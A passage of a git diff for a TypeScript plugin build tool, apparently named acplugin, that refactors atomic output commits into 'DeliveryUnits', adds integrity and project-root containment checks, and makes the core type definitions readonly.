validateSourceDirectoryRoot(config.root, config.srcDir, diagnostics); + /** 禁用 Public 时不访问其缺省路径;启用时执行同样的祖先链检查。 */ + const publicSafe = !config.public.enabled + || await validateSourceDirectoryRoot(config.root, config.public.dir, diagnostics); + if (sourceSafe) + await validateExtensionDirectories(config, diagnostics); /** 各独立源码区域并行扫描得到的规范资源。 */ const [commands, skills, agents, publicFiles] = await Promise.all([ - scanCommands(config, diagnostics), - scanSkills(config, diagnostics), - scanAgents(config, diagnostics), - scanPublic(config, diagnostics), + sourceSafe ? scanCommands(config, diagnostics) : [], + sourceSafe ? scanSkills(config, diagnostics) : [], + sourceSafe ? scanAgents(config, diagnostics) : [], + publicSafe ? scanPublic(config, diagnostics) : [], ]); validateGraph([...commands, ...skills, ...agents], diagnostics); - /** 交给 Module 与 Compiler 使用的只含 Core 语义的工程快照。 */ - const project: PluginProject = { + /** 交给固定生命周期中 Platform 与 Extension 使用的只含 Core 语义工程快照。 */ + const project = freezeProject({ root: config.root, - name: config.name, - version: config.version, - description: config.description, + metadata: config.metadata, commands, skills, agents, publicFiles, - }; - if (config.displayName !== undefined) - project.displayName = config.displayName; + }); return { project, diagnostics }; } diff --git a/packages/core/src/transaction.ts b/packages/core/src/transaction.ts index 2ac933c..5909ac2 100644 --- a/packages/core/src/transaction.ts +++ b/packages/core/src/transaction.ts @@ -2,7 +2,8 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { hashFile } from './artifacts.js'; -import type { Artifact, TargetId } from './types.js'; +import type { Awaitable, DeliveryUnit, MaterializedCandidate } from './contracts.js'; +import type { Artifact } from './types.js'; /** 受管输出事务可观测的稳定阶段名称。 */ export type ManagedOutputPhase @@ -14,8 +15,10 @@ export type ManagedOutputPhase | 'backup-created' | 'output-swapped'; -/** 控制受管输出提交阶段通知和交换后收尾行为。 */ -export interface CommitManagedOutputOptions { +/** 控制 DeliveryUnit 集合提交阶段通知和交换后收尾行为。 */ +export interface CommitDeliveryUnitsOptions { + /** 可选工程根;提供时 outDir 必须严格位于其内部且不能等于工程根。 */ + projectRoot?: string; /** * 在事务进入关键阶段时调用,主要用于日志、测试故障注入和外部观测。 * @@ -44,7 +47,7 @@ async function exists(candidate: string): Promise { } /** - * 将单个已经过 ArtifactGraph 验证的产物写入阶段目录。 + * 将单个已经过 ArtifactRegistry 验证的产物写入阶段目录。 * * @param root 当前目标平台的阶段目录。 * @param artifact 包含可信来源、摘要和权限的产物。 @@ -61,22 +64,50 @@ async function materializeFile(root: string, artifact: Artifact): Promise } /** - * 将各目标 Artifact 以稳定顺序物化到指定根目录。 + * 重新读取一个目录内的 Artifact,复核类型、摘要、大小和权限。 * - * @param root 物化根目录,每个 Target ID 会成为其一级子目录。 - * @param targets 各目标已完成 Graph 校验的 Artifact 列表。 + * @param root Artifact 已物化到的单元根目录。 + * @param artifacts Registry 提供的完整性基准。 + * @param label 错误消息使用的稳定单元标签。 */ -export async function materializeTargets( +async function validateMaterializedArtifacts( root: string, - targets: ReadonlyMap, + artifacts: readonly Artifact[], + label: string, +): Promise { + for (const artifact of artifacts) { + /** 当前 Artifact 实际写入的文件路径。 */ + const destination = path.join(root, ...artifact.path.split('/')); + /** 用于拒绝符号链接和非普通文件的实际元数据。 */ + const stat = await fs.lstat(destination); + if (stat.isSymbolicLink() || !stat.isFile()) + throw new Error(`Materialized Artifact is not a regular file: ${label}/${artifact.path}`); + /** 从磁盘重新计算的字节数与摘要。 */ + const actual = await hashFile(destination); + if (actual.size !== artifact.size || actual.sha256 !== artifact.sha256) + throw new Error(`Materialized Artifact integrity mismatch: ${label}/${artifact.path}`); + if ((stat.mode & 0o777) !== artifact.mode) + throw new Error(`Materialized Artifact mode mismatch: ${label}/${artifact.path}`); + } +} + +/** + * 将各 DeliveryUnit 根的 Artifact 以稳定顺序物化到指定目录。 + * + * @param root 全部 DeliveryUnit 共同使用的物化根目录。 + * @param unitRoots 单元相对根到已完成 Registry 校验的 Artifact 列表。 + */ +async function materializeUnitRoots( + root: string, + unitRoots: ReadonlyMap, ): Promise { await fs.mkdir(root, { recursive: true }); - for (const target of [...targets.keys()].sort()) { - /** 当前目标在物化根目录下的隔离子目录。 */ - const targetRoot = path.join(root, target); - await fs.mkdir(targetRoot, { recursive: true }); - for (const artifact of targets.get(target) ?? []) - await materializeFile(targetRoot, artifact); + for (const unitRoot of [...unitRoots.keys()].sort()) { + /** 当前 DeliveryUnit 在物化根目录下的隔离子目录。 */ + const directory = path.join(root, unitRoot); + await fs.mkdir(directory, { recursive: true }); + for (const artifact of unitRoots.get(unitRoot) ?? []) + await materializeFile(directory, artifact); } } @@ -84,66 +115,168 @@ export async function materializeTargets( * 重新读取已物化文件,验证文件类型、内容摘要、大小和权限。 * * @param root 先前执行物化操作的根目录。 - * @param targets 作为完整性基准的 Artifact 列表。 + * @param unitRoots 单元相对根到完整性基准 Artifact 的映射。 * @throws 物化内容与 Artifact 契约不一致时抛出异常。 */ -async function validateMaterializedTargets( +async function validateMaterializedUnitRoots( root: string, - targets: ReadonlyMap, + unitRoots: ReadonlyMap, ): Promise { - for (const target of [...targets.keys()].sort()) { - /** 当前目标已物化文件的根目录。 */ - const targetRoot = path.join(root, target); - for (const artifact of targets.get(target) ?? []) { - /** 当前 Artifact 实际写入的文件路径。 */ - const destination = path.join(targetRoot, ...artifact.path.split('/')); - /** 用于拒绝符号链接和非普通文件的实际元数据。 */ - const stat = await fs.lstat(destination); - if (stat.isSymbolicLink() || !stat.isFile()) - throw new Error(`Materialized Artifact is not a regular file: ${target}/${artifact.path}`); - /** 从磁盘重新计算的字节数与摘要。 */ - const actual = await hashFile(destination); - if (actual.size !== artifact.size || actual.sha256 !== artifact.sha256) - throw new Error(`Materialized Artifact integrity mismatch: ${target}/${artifact.path}`); - if ((stat.mode & 0o777) !== artifact.mode) - throw new Error(`Materialized Artifact mode mismatch: ${target}/${artifact.path}`); - } + for (const unitRoot of [...unitRoots.keys()].sort()) { + /** 当前 DeliveryUnit 已物化文件的根目录。 */ + const directory = path.join(root, unitRoot); + await validateMaterializedArtifacts(directory, unitRoots.get(unitRoot) ?? [], unitRoot); } } /** * 在系统临时目录中完整演练物化和完整性校验,但不修改真实输出目录。 * - * @param targets 各目标已完成 Graph 校验的 Artifact 列表。 + * @param unitRoots 单元相对根到已完成 Registry 校验的 Artifact 列表。 */ -export async function validateMaterialization( - targets: ReadonlyMap, +async function validateUnitRootMaterialization( + unitRoots: ReadonlyMap, ): Promise { /** 本次验证独占且无论成功失败都会删除的临时目录。 */ const temporary = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-validate-')); try { - await materializeTargets(temporary, targets); - await validateMaterializedTargets(temporary, targets); + await materializeUnitRoots(temporary, unitRoots); + await validateMaterializedUnitRoots(temporary, unitRoots); } finally { await fs.rm(temporary, { recursive: true, force: true }); } } +/** 独立候选目录及其幂等清理函数。 */ +export interface MaterializedCandidateHandle { + readonly candidate: MaterializedCandidate; + readonly cleanup: () => Promise; +} + /** - * 通过加锁、阶段目录、备份和目录交换原子提交全部目标输出。 + * 在独占临时目录中物化一个 DeliveryUnit 候选并复核完整性。 + * + * @param unit 已通过全局 Registry 的交付单元。 + * @param temporaryParent 可选的 Platform 独占临时目录。 + * @returns 可交给 Platform Validator 的只读候选与清理函数。 + */ +export async function materializeDeliveryUnitCandidate( + unit: DeliveryUnit, + temporaryParent: string = os.tmpdir(), +): Promise { + await fs.mkdir(temporaryParent, { recursive: true }); + /** 当前候选独占且不包含最终 outDir 信息的临时根。 */ + const root = await fs.mkdtemp(path.join(temporaryParent, 'acplugin-candidate-')); + try { + for (const artifact of unit.artifacts) + await materializeFile(root, artifact); + await validateMaterializedArtifacts(root, unit.artifacts, `${unit.platform}/${unit.id}`); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + await fs.rm(root, { recursive: true, force: true }); + throw error; + } + /** 只读类型和冻结外壳阻止 Validator 替换候选身份。 */ + const candidate = Object.freeze({ root, unit }); + return Object.freeze({ + candidate, + /** Platform Validator 返回后删除整个独占候选目录。 */ + cleanup: () => fs.rm(root, { recursive: true, force: true }), + }); +} + +/** + * 在独立候选上执行 Platform Validator,并在其返回后再次复核文件完整性。 + * + * @param unit 已通过 Registry 的交付单元。 + * @param validate 只读观察候选内容的平台校验函数。 + * @param temporaryParent 可选的 Platform 独占临时目录。 + */ +export async function withMaterializedDeliveryUnitCandidate( + unit: DeliveryUnit, + validate: (candidate: MaterializedCandidate) => Awaitable, + temporaryParent?: string, +): Promise { + /** 当前 Validator 独占的候选句柄。 */ + const handle = await materializeDeliveryUnitCandidate(unit, temporaryParent); + try { + await validate(handle.candidate); + // Validator 契约是只读的;返回后复核可在运行时发现意外或恶意修改。 + await validateMaterializedArtifacts(handle.candidate.root, unit.artifacts, `${unit.platform}/${unit.id}`); + } finally { + await handle.cleanup(); + } +} + +/** + * 把 DeliveryUnit 集合转换为受管输出树路径映射。 + * + * @param units 全局 Registry 的稳定单元快照。 + * @returns `/` 到 Artifact 列表的唯一映射。 + */ +function deliveryUnitRoots(units: readonly DeliveryUnit[]): ReadonlyMap { + /** 单元物理根到 Artifact 列表的稳定映射。 */ + const roots = new Map(); + for (const unit of units) { + if (!/^[a-z0-9]+(?:-[a-z0-9]+)*$/.test(unit.platform) || !/^[a-z0-9]+(?:-[a-z0-9]+)*$/.test(unit.id)) + throw new Error('DeliveryUnit Platform and id must use lowercase kebab-case.'); + /** 最终 outDir 内的两级受管相对路径。 */ + const key = `${unit.platform}/${unit.id}`; + if (roots.has(key)) + throw new Error(`Duplicate DeliveryUnit "${key}".`); + roots.set(key, unit.artifacts); + } + return roots; +} + +/** + * 将全部 DeliveryUnit 物化为最终两级目录布局。 + * + * @param root 候选或 stage 根目录。 + * @param units 全局 Registry 的单元快照。 + */ +export async function materializeDeliveryUnits(root: string, units: readonly DeliveryUnit[]): Promise { + await materializeUnitRoots(root, deliveryUnitRoots(units)); +} + +/** + * 在临时目录演练全部 DeliveryUnit 的物化和完整性复核。 + * + * @param units 全局 Registry 的单元快照。 + */ +export async function validateDeliveryUnitMaterialization(units: readonly DeliveryUnit[]): Promise { + await validateUnitRootMaterialization(deliveryUnitRoots(units)); +} + +/** + * 原子提交全部 DeliveryUnit;任意失败都不会形成部分 Platform 输出。 + * + * @param outDir 框架完全管理的输出目录。 + * @param units 全局 Registry 的完整单元快照。 + * @param options 锁、边界和故障注入选项。 + */ +export async function commitDeliveryUnits( + outDir: string, + units: readonly DeliveryUnit[], + options: CommitDeliveryUnitsOptions = {}, +): Promise { + await commitUnitRoots(outDir, deliveryUnitRoots(units), options); +} + +/** + * 通过加锁、阶段目录、备份和目录交换原子提交全部 DeliveryUnit 根。 * * 同级事务记录与备份允许下一次调用修复进程中断留下的状态;交换后 Hook 失败时, * 当前调用会删除新输出并恢复旧目录,保证调用方只观察到完整的新旧版本之一。 * * @param outDir 由 acplugin 完全管理的输出目录。 - * @param targets 各目标已完成 Graph 校验的 Artifact 列表。 + * @param unitRoots 单元相对根到已完成 Registry 校验的 Artifact 列表。 * @param options 阶段通知与交换后事务 Hook。 * @throws 输出路径不安全、存在活跃锁、物化失败或回滚失败时抛出异常。 */ -export async function commitManagedOutput( +async function commitUnitRoots( outDir: string, - targets: ReadonlyMap, - options: CommitManagedOutputOptions = {}, + unitRoots: ReadonlyMap, + options: CommitDeliveryUnitsOptions = {}, ): Promise { /** 规范化后的受管输出绝对路径。 */ const resolved = path.resolve(outDir); @@ -153,6 +286,14 @@ export async function commitManagedOutput( const base = path.basename(resolved); if (resolved === path.parse(resolved).root || base === '' || base === '.' || base === '..') throw new Error(`Unsafe managed output path: ${outDir}`); + if (options.projectRoot !== undefined) { + /** 调用方提供并解析后的可信工程根。 */ + const projectRoot = path.resolve(options.projectRoot); + /** outDir 相对于工程根的位置,用于拒绝工程根本身和目录逃逸。 */ + const outputRelative = path.relative(projectRoot, resolved); + if (outputRelative === '' || path.isAbsolute(outputRelative) || outputRelative === '..' || outputRelative.startsWith(`..${path.sep}`)) + throw new Error(`Managed output must stay strictly inside the project root: ${outDir}`); + } await fs.mkdir(parent, { recursive: true }); /** 防止多个进程并发提交同一输出目录的独占锁文件。 */ @@ -179,7 +320,7 @@ export async function commitManagedOutput( const handle = await fs.open(lockPath, 'wx'); await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); return handle; - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if ((error as NodeJS.ErrnoException).code !== 'EEXIST') throw error; try { @@ -190,7 +331,7 @@ export async function commitManagedOutput( try { process.kill(record.pid, 0); throw new Error(`Managed output is locked by process ${record.pid}: ${outDir}`, { cause: error }); - } catch (processError) { + } catch /** processError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (processError) { if ((processError as NodeJS.ErrnoException).code !== 'ESRCH') throw processError; } @@ -199,7 +340,7 @@ export async function commitManagedOutput( const handle = await fs.open(lockPath, 'wx'); await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); return handle; - } catch (lockError) { + } catch /** lockError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (lockError) { throw new Error(`Managed output is locked: ${outDir}. ${String(lockError)}`, { cause: lockError }); } } @@ -218,13 +359,19 @@ export async function commitManagedOutput( } if (await exists(transactionPath)) await fs.rm(transactionPath, { force: true }); + /** 清理由任何上次中断阶段遗留、且具有当前 outDir 专属前缀的 stage。 */ + const staleStagePrefix = `.${base}.acplugin-stage-`; + for (const entry of await fs.readdir(parent, { withFileTypes: true })) { + if (entry.name.startsWith(staleStagePrefix)) + await fs.rm(path.join(parent, entry.name), { recursive: true, force: true }); + } await options.onPhase?.('recovery-complete'); // 阶段目录必须与输出同级,后续 rename 才能保持同一文件系统内的原子交换语义。 stage = await fs.mkdtemp(path.join(parent, `.${base}.acplugin-stage-`)); - await materializeTargets(stage, targets); + await materializeUnitRoots(stage, unitRoots); await options.onPhase?.('stage-materialized'); - await validateMaterializedTargets(stage, targets); + await validateMaterializedUnitRoots(stage, unitRoots); await options.onPhase?.('stage-validated'); await fs.writeFile(transactionPath, JSON.stringify({ schemaVersion: 1, outDir: base }) + '\n', { flag: 'wx' }); await options.onPhase?.('transaction-written'); @@ -245,14 +392,14 @@ export async function commitManagedOutput( } catch { // 完整输出已经提交;遗留事务记录可由下次调用删除,不应把清理失败升级为构建失败。 } - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { // 交换或 afterSwap 失败时,先移除不完整的新输出,再把旧备份恢复到正式路径。 try { if (outputSwapped && await exists(resolved)) await fs.rm(resolved, { recursive: true, force: true }); if (backupCreated && await exists(backupPath)) await fs.rename(backupPath, resolved); - } catch (rollbackError) { + } catch /** rollbackError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (rollbackError) { throw new AggregateError([error, rollbackError], `Managed output rollback failed: ${outDir}`, { cause: rollbackError }); } throw error; @@ -264,7 +411,7 @@ export async function commitManagedOutput( // 正式输出已经完整;下次调用会处理遗留备份,不应推翻成功的目录交换。 } } - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if (!(error instanceof AggregateError)) { try { await fs.rm(transactionPath, { force: true }); diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts index 8e0076b..45e8aba 100644 --- a/packages/core/src/types.ts +++ b/packages/core/src/types.ts @@ -1,5 +1,13 @@ -/** acplugin 1.0 内置且默认参与构建的目标平台标识。 */ -export const TARGET_IDS = ['claude-code', 'codex'] as const; +import type { + AcpluginExtension, + AcpluginPlatform, + DeliveryUnitRole, + DeliveryUnitType, + DocumentFormat, + JsonObject, + PlatformDeliveryType, + PlatformId, +} from './contracts.js'; /** Core 构建管线能够响应的命令集合。 */ export const BUILD_COMMANDS = ['dev', 'validate', 'inspect', 'build'] as const; @@ -13,9 +21,6 @@ export const COMPATIBILITY_LEVELS = ['native', 'transform', 'degraded', 'unsuppo /** acplugin 核心层直接建模的规范 Component 类型。 */ export const COMPONENT_KINDS = ['command', 'skill', 'agent'] as const; -/** 内置目标平台标识的联合类型。 */ -export type TargetId = typeof TARGET_IDS[number]; - /** Core 构建命令名称的联合类型。 */ export type BuildCommand = typeof BUILD_COMMANDS[number]; @@ -36,35 +41,48 @@ export type ArtifactMode = 0o644 | 0o755; /** 指向用户工程中某个来源位置的可序列化描述。 */ export interface SourceLocation { - path: string; - line?: number; - column?: number; + readonly path: string; + readonly line?: number; + readonly column?: number; } /** 构建各阶段共享的结构化诊断信息。 */ export interface Diagnostic { - code: string; - severity: DiagnosticSeverity; - message: string; - phase: string; - target?: TargetId; - module?: string; - component?: { kind: ComponentKind; id: string }; - location?: SourceLocation; - fieldPath?: readonly (string | number)[]; - related?: readonly SourceLocation[]; - hint?: string; + readonly code: string; + readonly severity: DiagnosticSeverity; + readonly message: string; + readonly phase: string; + readonly platform?: PlatformId; + readonly extension?: string; + readonly component?: { readonly kind: ComponentKind; readonly id: string }; + readonly owner?: string; + readonly location?: SourceLocation; + readonly fieldPath?: readonly (string | number)[]; + readonly related?: readonly SourceLocation[]; + readonly hint?: string; } /** 记录某项能力在指定平台上的转换结果和原因。 */ export interface CompatibilityEntry { - target: TargetId; - subject: string; - capability: string; - level: CompatibilityLevel; - transformation?: string; - reason: string; - causes?: readonly string[]; + readonly platform: PlatformId; + readonly subject: string; + readonly capability: string; + readonly level: CompatibilityLevel; + readonly transformation?: string; + readonly reason: string; + readonly causes?: readonly string[]; +} + +/** 可选 Plugin 元数据在单个平台上的最终处理结果。 */ +export type MetadataDisposition = 'emitted' | 'omitted'; + +/** 记录单个元数据字段的输出位置或省略原因。 */ +export interface MetadataDispositionEntry { + readonly platform: PlatformId; + readonly field: string; + readonly disposition: MetadataDisposition; + readonly output?: string; + readonly reason: string; } /** Component 对其他 Skill 或 Agent 的规范依赖引用。 */ @@ -73,42 +91,39 @@ export interface ComponentRequires { agents: readonly string[]; } -/** 用户为各目标平台提供的确定性 JSON 扩展字段。 */ -export interface PlatformExtensions { - 'claude-code'?: Readonly>; - 'codex'?: Readonly>; -} +/** Component 按已配置 Platform ID 保存的确定性专属字段。 */ +export type ComponentPlatformFields = Readonly>>; /** 从 `src/commands` 扫描得到的规范 Command。 */ export interface CommandComponent { - kind: 'command'; - id: string; - description: string; - argumentHint?: string; - body: string; - sourcePath: string; - requires: ComponentRequires; - extensions: PlatformExtensions; + readonly kind: 'command'; + readonly id: string; + readonly description: string; + readonly argumentHint?: string; + readonly body: string; + readonly sourcePath: string; + readonly requires: ComponentRequires; + readonly platforms: ComponentPlatformFields; } /** Skill 目录中需要随主体一起发布的辅助文件。 */ export interface SkillAuxiliaryFile { - path: string; - sourcePath: string; - mode: ArtifactMode; + readonly path: string; + readonly sourcePath: string; + readonly mode: ArtifactMode; } /** 从 `src/skills` 扫描得到的规范 Skill。 */ export interface SkillComponent { - kind: 'skill'; - id: string; - description: string; - invocation: { user: boolean; model: boolean }; - body: string; - sourcePath: string; - requires: ComponentRequires; - extensions: PlatformExtensions; - auxiliaryFiles: readonly SkillAuxiliaryFile[]; + readonly kind: 'skill'; + readonly id: string; + readonly description: string; + readonly invocation: { readonly user: boolean; readonly model: boolean }; + readonly body: string; + readonly sourcePath: string; + readonly requires: ComponentRequires; + readonly platforms: ComponentPlatformFields; + readonly auxiliaryFiles: readonly SkillAuxiliaryFile[]; } /** 与具体平台模型名称解耦的 Agent 能力级别。 */ @@ -125,15 +140,15 @@ export type AgentCapability /** 从 `src/agents` 扫描得到的规范 Agent。 */ export interface AgentComponent { - kind: 'agent'; - id: string; - description: string; - model: AgentModel; - capabilities: readonly AgentCapability[]; - body: string; - sourcePath: string; - requires: ComponentRequires; - extensions: PlatformExtensions; + readonly kind: 'agent'; + readonly id: string; + readonly description: string; + readonly model: AgentModel; + readonly capabilities: readonly AgentCapability[]; + readonly body: string; + readonly sourcePath: string; + readonly requires: ComponentRequires; + readonly platforms: ComponentPlatformFields; } /** Core 构建管线能够处理的任意规范 Component。 */ @@ -141,22 +156,39 @@ export type Component = CommandComponent | SkillComponent | AgentComponent; /** 从 Public 目录收集且尚未转换为 Artifact 的文件描述。 */ export interface PublicFile { - sourcePath: string; - targetPath: string; - mode: ArtifactMode; + readonly sourcePath: string; + readonly targetPath: string; + readonly mode: ArtifactMode; +} + +/** Plugin 作者的统一名称、邮件与主页信息。 */ +export interface PluginAuthor { + readonly name: string; + readonly email?: string; + readonly url?: string; } -/** Scanner 完成解析与图校验后交给 Compiler 的统一工程模型。 */ +/** Plugin 配置中与平台无关、可供所有生命周期只读访问的元数据。 */ +export interface PluginMetadata { + readonly name: string; + readonly version: string; + readonly description: string; + readonly displayName?: string; + readonly author?: PluginAuthor; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords?: readonly string[]; +} + +/** Scanner 完成解析与图校验后交给固定生命周期的只读工程模型。 */ export interface PluginProject { - root: string; - name: string; - version: string; - description: string; - displayName?: string; - commands: readonly CommandComponent[]; - skills: readonly SkillComponent[]; - agents: readonly AgentComponent[]; - publicFiles: readonly PublicFile[]; + readonly root: string; + readonly metadata: PluginMetadata; + readonly commands: readonly CommandComponent[]; + readonly skills: readonly SkillComponent[]; + readonly agents: readonly AgentComponent[]; + readonly publicFiles: readonly PublicFile[]; } /** 将 Public 目录中的来源路径映射到产物路径的复制规则。 */ @@ -171,9 +203,6 @@ export type PublicConfig = false | string | { copy?: readonly PublicCopyRule[]; }; -/** 用户可使用的目标平台简写或严格模式配置。 */ -export type TargetConfig = TargetId | { id: TargetId; strict?: boolean }; - /** 控制构建输出目录和全局兼容性严格度的配置。 */ export interface BuildConfig { outDir?: string; @@ -191,22 +220,26 @@ export type UserConfigExport = UserConfig | ((environment: ConfigEnvironment) => /** 用户在 `acplugin.config.ts` 中声明的顶层配置契约。 */ export interface UserConfig { - name: string; - version: string; - description: string; - displayName?: string; - srcDir?: string; - public?: PublicConfig; - targets?: readonly TargetConfig[]; - modules?: readonly AcpluginModule[]; - build?: BuildConfig; - extensions?: PlatformExtensions; -} - -/** 完成默认值合并和校验后的单个目标平台配置。 */ -export interface ResolvedTarget { - id: TargetId; - strict: boolean; + readonly name: string; + readonly version: string; + readonly description: string; + readonly displayName?: string; + readonly author?: PluginAuthor; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords?: readonly string[]; + readonly srcDir?: string; + readonly public?: PublicConfig; + readonly platforms?: readonly AcpluginPlatform[]; + readonly extensions?: readonly AcpluginExtension[]; + readonly build?: BuildConfig; +} + +/** 配置解析后带最终严格度的品牌化 Platform 实例。 */ +export interface ResolvedPlatform { + readonly platform: AcpluginPlatform; + readonly strict: boolean; } /** 完成目录解析和默认值合并后的 Public 配置。 */ @@ -218,154 +251,50 @@ export interface ResolvedPublicConfig { /** Core 内部使用的完整、绝对路径化配置。 */ export interface ResolvedConfig { - root: string; - configPath: string; - command: BuildCommand; - mode: BuildMode; - name: string; - version: string; - description: string; - displayName?: string; - srcDir: string; - public: ResolvedPublicConfig; - targets: readonly ResolvedTarget[]; - modules: readonly AcpluginModule[]; - outDir: string; - strict: boolean; - extensions: PlatformExtensions; + readonly root: string; + readonly configPath: string; + readonly command: BuildCommand; + readonly mode: BuildMode; + readonly metadata: PluginMetadata; + readonly srcDir: string; + readonly public: ResolvedPublicConfig; + readonly platforms: readonly ResolvedPlatform[]; + readonly extensions: readonly AcpluginExtension[]; + readonly outDir: string; + readonly strict: boolean; } /** 已驻留内存、可安全快照的 Artifact 字节来源。 */ export interface ArtifactBytesSource { - type: 'bytes'; - value: Uint8Array; + readonly type: 'bytes'; + readonly value: Uint8Array; } /** 构建提交阶段才读取的本地普通文件来源。 */ export interface ArtifactFileSource { - type: 'file'; - path: string; + readonly type: 'file'; + readonly path: string; } -/** Compiler 或 Module 向 Artifact Graph 提交的待验证产物。 */ +/** Platform 或 Extension Adapter 向 Core 提交的待验证产物。 */ export interface ArtifactInput { - path: string; - source: ArtifactBytesSource | ArtifactFileSource; - mode?: ArtifactMode; + readonly path: string; + readonly source: ArtifactBytesSource | ArtifactFileSource; + readonly mode?: ArtifactMode; } -/** Artifact Graph 校验并冻结后的不可变产物记录。 */ +/** Artifact Registry 校验并冻结后的不可变产物记录。 */ export interface Artifact extends ArtifactInput { - owner: string; - mode: ArtifactMode; - size: number; - sha256: string; -} - -/** 某个所有者对目标平台 Manifest 字段的贡献。 */ -export interface ManifestContribution { - owner: string; - fields: Readonly>; + readonly owner: string; + readonly mode: ArtifactMode; + readonly size: number; + readonly sha256: string; } -/** Module 在单个目标平台生成阶段返回的增量贡献。 */ -export interface TargetContribution { - artifacts?: readonly ArtifactInput[]; - manifestFields?: Readonly>; - compatibility?: readonly CompatibilityEntry[]; -} - -/** 加载可信 TypeScript 配置或 Module 描述文件的抽象接口。 */ +/** 加载可信 TypeScript 配置或 Extension 描述文件的抽象接口。 */ export type TypeScriptModuleLoader = (path: string) => Promise; -/** 所有 Module 生命周期阶段共享的只读上下文。 */ -export interface ModuleBaseContext { - config: ResolvedConfig; - diagnostics: DiagnosticCollectorLike; - loadTypeScriptModule: TypeScriptModuleLoader; - workDir: string; - dependencyState: ReadonlyMap; - dependencyBuiltState: ReadonlyMap; -} - -/** Module discover 阶段使用的基础上下文别名。 */ -export type ModuleDiscoverContext = ModuleBaseContext; - -/** Module validate 阶段额外携带已扫描工程的上下文。 */ -export interface ModuleValidateContext extends ModuleBaseContext { - project: PluginProject; -} - -/** Module build 阶段使用的校验上下文别名。 */ -export type ModuleBuildContext = ModuleValidateContext; - -/** Module generate 阶段额外携带当前目标平台的上下文。 */ -export interface ModuleGenerateContext extends ModuleBuildContext { - target: TargetId; -} - -/** Module buildEnd 阶段用于观察成功或失败结果的上下文。 */ -export interface ModuleBuildEndContext extends ModuleBaseContext { - error?: unknown; -} - -/** - * 通过固定生命周期 Hook 扩展 Core 构建能力的 Module 契约。 - * - * @typeParam State discover 阶段产生并传递给后续阶段的状态。 - * @typeParam BuiltState build 阶段产生并传递给 generate 的状态。 - */ -export interface AcpluginModule { - name: string; - dependsOn?: readonly string[]; - - /** 在配置解析完成后执行一次,不应写入构建产物。 */ - configResolved?(config: ResolvedConfig): void | Promise; - - /** 发现 Module 自己拥有的资源,并返回稳定状态。 */ - discover?(context: ModuleDiscoverContext): State | Promise; - - /** 校验发现状态与规范 Plugin 工程之间的约束。 */ - validate?(context: ModuleValidateContext, state: State): void | Promise; - - /** 构建与目标无关的中间状态,例如本地代码 Bundle。 */ - build?(context: ModuleBuildContext, state: State): BuiltState | Promise; - - /** 为当前目标平台生成 Artifact、Manifest 和兼容性贡献。 */ - generate?( - context: ModuleGenerateContext, - state: State, - builtState: BuiltState, - ): TargetContribution | void | Promise; - - /** 在构建结束时执行清理;失败信息通过上下文传入。 */ - buildEnd?(context: ModuleBuildEndContext): void | Promise; -} - -/** Compiler 编译单个平台时需要的完整输入。 */ -export interface CompilerContext { - config: ResolvedConfig; - project: PluginProject; - target: ResolvedTarget; - contributions: readonly { module: string; contribution: TargetContribution }[]; - diagnostics: DiagnosticCollectorLike; -} - -/** Compiler 返回给 Core 的目标产物和兼容性记录。 */ -export interface CompilerOutput { - artifacts: readonly ArtifactInput[]; - compatibility: readonly CompatibilityEntry[]; -} - -/** 将规范 PluginProject 编译为指定平台安装包的内置接口。 */ -export interface Compiler { - id: TargetId; - - /** 编译单个目标平台,且不得直接写入最终输出目录。 */ - compile(context: CompilerContext): CompilerOutput | Promise; -} - -/** Module 和 Compiler 用于提交结构化诊断的最小接口。 */ +/** Core Collector 和生命周期内部对象用于提交结构化诊断的最小接口。 */ export interface DiagnosticCollectorLike { /** 添加一条完整诊断,Collector 会在落盘前统一脱敏。 */ @@ -380,40 +309,67 @@ export interface DiagnosticCollectorLike { readonly hasErrors: boolean; } -/** Build Report 中可公开展示的单个 Artifact 摘要。 */ -export interface ArtifactReportEntry { - target: TargetId; - path: string; - owner: string; - mode: ArtifactMode; - size: number; - sha256: string; +/** BuildResult 中可公开展示且不包含内容字节的单个 Artifact 摘要。 */ +export interface ArtifactReport { + readonly path: string; + readonly owner: string; + readonly mode: ArtifactMode; + readonly size: number; + readonly sha256: string; } -/** CLI、JSON 输出和 Watch 状态共享的稳定构建报告。 */ -export interface BuildReport { - schemaVersion: '1'; - command: BuildCommand; - mode: BuildMode; - project: { name: string; version: string }; - targets: readonly TargetId[]; - diagnostics: readonly Diagnostic[]; - compatibility: readonly CompatibilityEntry[]; - artifacts: readonly ArtifactReportEntry[]; - success: boolean; - committed: boolean; +/** 一个主交付或 Distribution 的稳定、无绝对路径报告。 */ +export interface DeliveryUnitReport { + readonly platform: PlatformId; + readonly id: string; + readonly role: DeliveryUnitRole; + readonly type: DeliveryUnitType; + readonly artifacts: readonly ArtifactReport[]; } -/** 调用 Core 构建管线所需的依赖和提交策略。 */ -export interface BuildRequest { - config: ResolvedConfig; - compilers: ReadonlyMap; - loadTypeScriptModule: TypeScriptModuleLoader; - commit: boolean; +/** inspect 报告中不暴露来源绝对路径的规范 Component 摘要。 */ +export interface ComponentReport { + readonly kind: ComponentKind; + readonly id: string; } -/** Core 构建调用返回的工程快照和稳定报告。 */ +/** inspect 报告中包含严格度与交付形态的 Platform 摘要。 */ +export interface PlatformReport { + readonly id: PlatformId; + readonly apiVersion: '1'; + readonly deliveryType: PlatformDeliveryType; + readonly strict: boolean; +} + +/** inspect 报告中包含资源发现状态的 Extension 摘要。 */ +export interface ExtensionReport { + readonly name: string; + readonly apiVersion: '1'; + readonly hasResources: boolean; +} + +/** inspect 报告中不包含结构化值或内容字节的 Platform Document 摘要。 */ 